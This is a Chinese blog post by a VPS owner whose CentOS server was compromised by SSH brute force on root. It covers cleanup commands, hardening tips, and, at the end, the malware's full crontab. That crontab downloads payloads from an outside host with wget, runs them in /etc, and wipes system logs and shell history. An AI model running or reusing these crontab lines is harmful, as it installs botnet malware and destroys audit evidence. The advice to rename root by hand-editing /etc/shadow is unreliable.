尼瑪!Linux都會中毒?可不是麼,這種奇葩的事情都讓我趕上了,並且和我同樣的人還真有,幸虧有,否則哥不是鬱悶了~
狀況就是服務器訪問很是慢,基本隔三差五的不能訪問!DNSpod三天兩頭髮郵件給我「D監控通知:您的網站www.jinlijun.com沒法訪問」。 html
機器是CentOS,開放22端口root權限,密碼長度9位字母加數字全小寫無規律。立馬給VPS服務商聯繫,詢問狀況,反饋結果告知是中了病毒,被hacked了~擦! node
進入服務器,發現機子不停往外發包,帶寬佔滿(5分鐘能發10G)。cpu佔用100%,top下能看到名爲sfewfesfs的進程還有.sshddXXXXXXXXXXX(一串隨機數字)的進程。/etc/下能看到名爲sfewfesfs,nhgbhhj等多個奇怪名字的「紅名」文件。 linux
由於22端口操做也是須要網絡,在服務商不給力的狀況下,也只能選擇備份數據重裝!在這裏把解毒方法公示下,而後應對暴力破解的招數也總結下: shell
若是你是內網用戶,請修改外網映射22端口到XXXX,修改root密碼: 安全
1
|
passwd
|
關閉root的22權限
在/etc/ssh/sshd_config文件中找到PermitRootLogin去掉#改爲 bash
1
|
PermitRootLogin
no
|
查看佔用端口 服務器
1
|
netstat
-
atunlp
|
看到sfewfesfs和.sshdd1401029348進程在發包 網絡
查看進程位置 ssh
1
|
ll
/
proc
/進程
PID
|
刪除病毒文件 學習
1
2
|
chattr
-
i
/
etc
/
sfewfesfs*
rm
-
rf
/
etc
/
sfewfesfs*
|
看到名爲nhgbhhj等的可疑文件一併刪除
1
2
|
rm
-
rf
/
etc
/
nhgbhhj
rm
-
rf
/
etc
/
nhgbhhj*
*
*
|
刪除計劃任務(很是重要),病毒靠這個復活!
1
2
|
rm
-
rf
/
var
/
spool
/
cron
/
root
rm
-
rf
/
var
/
spool
/
cron
/
root
.
1
|
用ls -al看到.SSH2隱藏文件,刪除
1
|
rm
-
rf
/
etc
/
.
SSH2
|
用ls -al看到.sshdd1401029348隱藏文件,刪除
1
|
rm
-
rf
/
tmp
/
.
sshdd140*
|
重啓服務器,搞定。
網上有大神強調:22端口的root權限仍是不要開了,nozuonodie,頭一次經歷linux中毒曾一度覺得是很安全的操做系統-_-!,中過一次才以爲爽,大意了。
可是22端口對於VPS租用者來講是必須開的,並且須要root帳號和權限的!腫麼辦?
----如下內容是本文重要強調的地方----
看似安全的系統是怎麼被入侵的捏?緣由是22端口開放,用root用戶名+簡單密碼,例如:
root123
黑客採用暴力破解,就是用「用戶名「+」密碼」窮舉的方式進行遠程登陸,因爲Linux系統默認的管理員登陸用戶名是root,破解者只需暴力破解密碼,你就只能nozuonodie了~~
其餘招呢?就是修改root用戶名:(沒有具體命令,只能修改配置文件)
root用戶登陸,vi修改/etc/passwd & /etc/shadow
(不清楚這兩個文件的,請學習:/etc/passwd & /etc/shadow 詳解)
1
|
vi
/
etc
/
passwd
|
按i鍵進入編輯狀態
修改第1行第1個root爲新的用戶名
按esc鍵退出編輯狀態,並輸入:x保存並退出
1
|
vi
/
etc
/
shadow
|
按i鍵進入編輯狀態
修改第1行第1個root爲新的用戶名
按esc鍵退出編輯狀態,並輸入:x!強制保存並退出
補充:爲了正常使用sudo,須要修改/etc/sudoers的設置,修改方法以下(來自How to add users to /etc/sudoers):
1
|
vi
/
etc
/
sudoers
|
找到root ALL=(ALL) ALL
在下面添加一行:新用戶名 ALL=(ALL) ALL
:x!強制保存退出
從新鏈接,輸入新用戶名+原來root密碼!大功告成!!
附病毒腳本
*/1 * * * * killall -9 .IptabLes */1 * * * * killall -9 nfsd4 */1 * * * * killall -9 profild.key */1 * * * * killall -9 nfsd */1 * * * * killall -9 DDosl */1 * * * * killall -9 lengchao32 */1 * * * * killall -9 b26 */1 * * * * killall -9 codelove */1 * * * * killall -9 32 */1 * * * * killall -9 64 */1 * * * * killall -9 new6 */1 * * * * killall -9 new4 */1 * * * * killall -9 node24 */1 * * * * killall -9 freeBSD */99 * * * * killall -9 sdmfdsfhjfe */98 * * * * killall -9 gfhjrtfyhuf */97 * * * * killall -9 sdmfdsfhjfe */96 * * * * killall -9 rewgtf3er4t */95 * * * * killall -9 ferwfrre */94 * * * * killall -9 dsfrefr */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/gfhjrtfyhuf */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sfewfesfs */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sdmfdsfhjfe */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/gfhddsfew */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/rewgtf3er4t */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ferwfrre */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/dsfrefr */120 * * * * cd /root;rm -rf dir nohup.out */360 * * * * cd /etc;rm -rf dir gfhjrtfyhuf */360 * * * * cd /etc;rm -rf dir dsfrefr */360 * * * * cd /etc;rm -rf dir sdmfdsfhjfe */360 * * * * cd /etc;rm -rf dir rewgtf3er4t */360 * * * * cd /etc;rm -rf dir gfhddsfew */360 * * * * cd /etc;rm -rf dir ferwfrre */1 * * * * cd /etc;rm -rf dir sfewfesfs.* */1 * * * * cd /etc;rm -rf dir gfhjrtfyhuf.* */1 * * * * cd /etc;rm -rf dir dsfrefr.* */1 * * * * cd /etc;rm -rf dir sdmfdsfhjfe.* */1 * * * * cd /etc;rm -rf dir rewgtf3er4t.* */1 * * * * cd /etc;rm -rf dir gfhddsfew.* */1 * * * * cd /etc;rm -rf dir ferwfrre.* */1 * * * * chmod 7777 /etc/gfhjrtfyhuf */1 * * * * chmod 7777 /etc/sfewfesfs */1 * * * * chmod 7777 /etc/dsfrefr */1 * * * * chmod 7777 /etc/sdmfdsfhjfe */1 * * * * chmod 7777 /etc/rewgtf3er4t */1 * * * * chmod 7777 /etc/gfhddsfew */1 * * * * chmod 7777 /etc/ferwfrre */99 * * * * nohup /etc/sfewfesfs > /dev/null 2>&1& */100 * * * * nohup /etc/sdmfdsfhjfe > /dev/null 2>&1& */99 * * * * nohup /etc/gfhjrtfyhuf > /dev/null 2>&1& */98 * * * * nohup /etc/sdmfdsfhjfe > /dev/null 2>&1& */97 * * * * nohup /etc/rewgtf3er4t > /dev/null 2>&1& */96 * * * * nohup /etc/ferwfrre > /dev/null 2>&1& */95 * * * * nohup /etc/dsfrefr > /dev/null 2>&1& */1 * * * * echo "unset MAILCHECK" >> /etc/profile */1 * * * * rm -rf /root/.bash_history */1 * * * * touch /root/.bash_history */1 * * * * history -r */1 * * * * cd /var/log > dmesg */1 * * * * cd /var/log > auth.log */1 * * * * cd /var/log > alternatives.log */1 * * * * cd /var/log > boot.log */1 * * * * cd /var/log > btmp */1 * * * * cd /var/log > cron */1 * * * * cd /var/log > cups */1 * * * * cd /var/log > daemon.log */1 * * * * cd /var/log > dpkg.log */1 * * * * cd /var/log > faillog */1 * * * * cd /var/log > kern.log */1 * * * * cd /var/log > lastlog */1 * * * * cd /var/log > maillog */1 * * * * cd /var/log > user.log */1 * * * * cd /var/log > Xorg.x.log */1 * * * * cd /var/log > anaconda.log */1 * * * * cd /var/log > yum.log */1 * * * * cd /var/log > secure */1 * * * * cd /var/log > wtmp */1 * * * * cd /var/log > utmp */1 * * * * cd /var/log > messages */1 * * * * cd /var/log > spooler */1 * * * * cd /var/log > sudolog */1 * * * * cd /var/log > aculog */1 * * * * cd /var/log > access-log */1 * * * * cd /root > .bash_history */1 * * * * history -c